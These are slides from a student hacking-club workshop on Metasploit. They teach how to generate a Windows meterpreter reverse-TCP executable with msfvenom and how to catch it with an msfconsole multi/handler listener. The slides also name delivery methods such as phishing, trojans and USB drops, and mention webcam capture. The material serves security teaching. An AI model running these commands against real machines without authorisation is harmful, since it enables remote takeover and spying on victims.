Metasploit: Part 2

Workshop 8 - 8/12/2022

HTB Academy Modules

This is a free addition to hack the box that allows you to learn new skills

We will be using the metasploit module

Metasploit Module

Lots of information for metasploit framework

There is a module section which will consolidate knowledge from last week

We will be looking at the payload section this week

What is a payload?

A payload is any form of malware sent by an attacker to a victim, this can include viruses, reverse shells, worms.

In our case, we will be focusing on the creation of reverse shell scripts using the metasploit framework and msfvenom.

Reverse TCP

Today we will be looking at generating a payload that utilizes Reverse TCP. Typically our target devices will have built in or installed firewalls to prevent us from connecting to our shell once it is deployed.

The case is not the same if the target machine is the one that initiates the connection, hence the term “reverse”. By forcing the target machine to start the connection, most firewalls will allow the connection to bypass them.

Tools we will use

Within the Metasploit framework, we will be using a combination of two tools;

Msfvenom - for payload generation

Msfconsole - for controlling/using the payload

Creating Our Payload

To first generate our payload, we are going to use the command:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Your IP] LPORT=4444 -f exe> payload.exe
```

Delivering a payload

In the real world hackers and penetration testers alike have to come up with unique and convincing ways to get a payload onto a PC.

This can be done through phishing, using a trojan horse, physical means (such as a USB drive) or by exploiting a vulnerable service on the target machine, i.e sql injection, web servers, etc.

Setting up our listener

In order for us to connect to our exploit after it has been run on our target machine, we first need to set up a listener so that when it is executed, we immediately establish a connection. We do this in msfconsole using the commands:

```
msfconsole

msf5> use exploit/multi/handler

msf5 exploit(handler)> set payload windows/meterpreter/reverse_tcp

msf5 exploit(handler)> set lhost [Your IP]

msf5 exploit(handler)> set lport 4444

msf5 exploit(handler)> exploit
```

Meterpreter

Meterpreter is a more advanced form of a reverse shell, depending on which device the payload was created for, it can execute a number of unique (and frankly scary) commands. For PCs/Phones with webcams it can take photographs

CRACKCHESTER

HOODIE DESIGN CONTEST

Crackchester

Here’s a link to our link tree where you can find all our socials and our discord!


crackchester crackchester
chester
Demonstration